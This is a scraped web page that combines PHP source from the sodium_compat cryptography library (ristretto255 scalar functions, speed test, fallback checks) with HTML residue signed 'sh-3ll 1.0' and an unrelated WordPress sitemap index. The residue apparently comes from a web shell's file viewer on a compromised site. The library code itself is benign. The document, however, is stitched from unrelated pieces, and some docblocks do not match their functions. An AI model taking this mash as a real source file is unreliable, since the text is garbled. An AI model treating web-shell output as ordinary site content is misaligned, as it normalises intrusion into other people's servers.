     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_invert(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_invert($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s);
    }
    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_negate(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_negate($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s);
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_complement(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_complement($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_add(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_add($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_sub(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_sub($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_mul(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_mul($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y);
    }

    /**
     * @param string $n
     * @param string $p
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255(
        #[\SensitiveParameter]
        $n,
        #[\SensitiveParameter]
        $p,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_scalarmult_ristretto255($n, $p);
        }
        return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p);
    }

    /**
     * @param string $n
     * @param string $p
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255_base(
        #[\SensitiveParameter]
        $n,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_scalarmult_ristretto255_base($n);
        }
        return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n);
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_reduce(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_reduce($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s);
    }

    /**
     * Runtime testing method for 32-bit platforms.
     *
     * Usage: If runtime_speed_test() returns FALSE, then our 32-bit
     *        implementation is to slow to use safely without risking timeouts.
     *        If this happens, install sodium from PECL to get acceptable
     *        performance.
     *
     * @param int $iterations Number of multiplications to attempt
     * @param int $maxTimeout Milliseconds
     * @return bool           TRUE if we&#039;re fast enough, FALSE is not
     * @throws SodiumException
     */
    public static function runtime_speed_test($iterations, $maxTimeout)
    {
        if (self::polyfill_is_fast()) {
            return true;
        }
        /** @var float $end */
        $end = 0.0;
        /** @var float $start */
        $start = microtime(true);
        /** @var ParagonIE_Sodium_Core32_Int64 $a */
        $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 &lt;&lt; 16));
        for ($i = 0; $i &lt; $iterations; ++$i) {
            /** @var ParagonIE_Sodium_Core32_Int64 $b */
            $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 &lt;&lt; 16));
            $a-&gt;mulInt64($b);
        }
        /** @var float $end */
        $end = microtime(true);
        /** @var int $diff */
        $diff = (int) ceil(($end - $start) * 1000);
        return $diff &lt; $maxTimeout;
    }

    /**
     * Add two numbers (little-endian unsigned), storing the value in the first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function sub(
        #[\SensitiveParameter]
        &amp;$val,
        #[\SensitiveParameter]
        $addv
    ) {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException(&#039;values must have the same length&#039;);
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

        $c = 0;
        for ($i = 0; $i &lt; $val_len; $i++) {
            $c = ($A[$i] - $B[$i] - $c);
            $A[$i] = ($c &amp; 0xff);
            $c = ($c &gt;&gt; 8) &amp; 1;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

    /**
     * This emulates libsodium&#039;s version_string() function, except ours is
     * prefixed with &#039;polyfill-&#039;.
     *
     * @return string
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress UndefinedFunction
     */
    public static function version_string()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_version_string();
        }
        if (self::use_fallback(&#039;version_string&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\version_string&#039;);
        }
        return (string) self::VERSION_STRING;
    }

    /**
     * Should we use the libsodium core function instead?
     * This is always a good idea, if it&#039;s available. (Unless we&#039;re in the
     * middle of running our unit test suite.)
     *
     * If ext/libsodium is available, use it. Return TRUE.
     * Otherwise, we have to use the code provided herein. Return FALSE.
     *
     * @param string $sodium_func_name
     *
     * @return bool
     */
    protected static function use_fallback($sodium_func_name = &#039;&#039;)
    {
        static $res = null;
        if ($res === null) {
            $res = extension_loaded(&#039;libsodium&#039;) &amp;&amp; PHP_VERSION_ID &gt;= 50300;
        }
        if ($res === false) {
            // No libsodium installed
            return false;
        }
        if (self::$disableFallbackForUnitTests) {
            // Don&#039;t fallback. Use the PHP implementation.
            return false;
        }
        if (!empty($sodium_func_name)) {
            return is_callable(&#039;\\Sodium\\&#039; . $sodium_func_name);
        }
        return true;
    }

    /**
     * Libsodium as implemented in PHP 7.2
     * and/or ext/sodium (via PECL)
     *
     * @ref https://wiki.php.net/rfc/libsodium
     * @return bool
     */
    protected static function useNewSodiumAPI()
    {
        static $res = null;
        if ($res === null) {
            $res = PHP_VERSION_ID &gt;= 70000 &amp;&amp; extension_loaded(&#039;sodium&#039;);
        }
        if (self::$disableFallbackForUnitTests) {
            // Don&#039;t fallback. Use the PHP implementation.
            return false;
        }
        return (bool) $res;
    }
}
</pre></td></tr><center><br>sh-3ll <font color="green">1.0</font></center></body><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.pemco.vn/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.pemco.vn/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-posts-blocks-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-posts-featured_item-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-taxonomies-featured_item_category-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>